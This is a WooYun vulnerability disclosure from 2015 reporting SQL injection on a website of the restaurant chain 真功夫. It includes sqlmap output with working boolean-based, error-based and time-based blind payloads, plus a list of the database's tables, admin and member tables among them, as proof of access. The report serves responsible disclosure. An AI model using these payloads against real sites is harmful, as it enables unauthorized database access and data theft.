当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134296

漏洞标题:真功夫某站SQL注入

相关厂商:真功夫

漏洞作者: lightless

提交时间:2015-08-18 21:43

修复时间:2015-10-03 11:22

公开时间:2015-10-03 11:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-19: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

最近微信群里被这东西的红包刷屏了。。

详细说明:

真功夫餐饮管理有限公司,1990年创立,直营店数及发展规模在全国领先,是中国最具影响力的中式快餐品牌。
存在问题的地址:**.**.**.**/content/48'/
虽然对参数进行了转义,但是丝毫不影响我们的注入。

1.png


直接丢到sqlmap里吧。

sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: **.**.**.**:80/content/48 AND 9866=9866
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: **.**.**.**:80/content/48 AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x716b707a71,(SELECT (ELT(7430=7430,1))),0x716b717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: **.**.**.**:80/content/48 AND (SELECT * FROM (SELECT(SLEEP(5)))FsbV)
---
[12:35:40] [INFO] the back-end DBMS is MySQL
[12:35:40] [INFO] fetching banner
[12:35:40] [INFO] retrieved: 5.1.49-log
web application technology: Apache
back-end DBMS: MySQL 5.0
banner: '5.1.49-log'


漏洞证明:

Database: zhengongfu
+-------------------------+---------+
| Table | Entries |
+-------------------------+---------+
| table_content | 737 |
| table_c_map | 640 |
| table_ads_stat | 501 |
| table_area | 406 |
| table_model_field | 353 |
| table_attachment | 333 |
| table_session | 331 |
| table_keyword | 226 |
| table_shenqing | 226 |
| table_menu | 163 |
| table_member_group_priv | 88 |
| table_admin_role_priv | 84 |
| table_apply | 54 |
| table_c_canguan | 40 |
| table_type | 31 |
| table_admin_role | 27 |
| table_category | 26 |
| table_model | 20 |
| table_c_dashijian | 17 |
| table_urlrule | 17 |
| table_c_taoke | 13 |
| table_admin | 10 |
| table_c_news | 10 |
| table_member | 10 |
| table_role | 10 |
| table_content_tag | 9 |
| table_module | 9 |
| table_page | 9 |
| table_c_shan | 8 |
| table_c_jingcai | 7 |
| table_c_yiyang | 7 |
| table_keylink | 7 |
| table_search | 7 |
| table_guestbook | 5 |
| table_link | 5 |
| table_ads | 4 |
| table_beijing | 3 |
| table_c_youhui | 3 |
| table_canguan | 3 |
| table_announce | 2 |
| table_banner | 2 |
| table_meiti | 2 |
| table_production | 2 |
| table_wapbanner | 2 |
| table_c_dajiating | 1 |
| table_c_dianmian | 1 |
| table_comment | 1 |
| table_member_company | 1 |
| table_member_detail | 1 |
| table_member_group | 1 |
| table_setting | 1 |
+-------------------------+---------+

修复方案:

系统不要了赶紧下线。
不然就过滤咯,只转义是没有用的。

版权声明:转载请注明来源 lightless@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-08-19 11:20

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无